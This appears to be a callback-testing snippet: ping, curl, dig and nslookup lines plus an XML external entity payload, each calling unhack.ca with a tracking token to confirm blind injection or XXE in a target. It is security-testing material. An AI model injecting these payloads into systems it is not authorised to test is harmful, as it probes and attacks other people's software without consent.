$ ping -c1 -p 00faaee5b5e6ac126692b23218d33400 unhack.ca
$ curl http://unhack.ca/p/faaee5b5e6ac126692b23218d334
$ dig faaee5b5e6ac126692b23218d334 @unhack.ca
$ dig faaee5b5e6ac126692b23218d334.ns.unhack.ca
C:\> nslookup faaee5b5e6ac126692b23218d334 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/faaee5b5e6ac126692b23218d334">]> <foo>&xxe;</foo>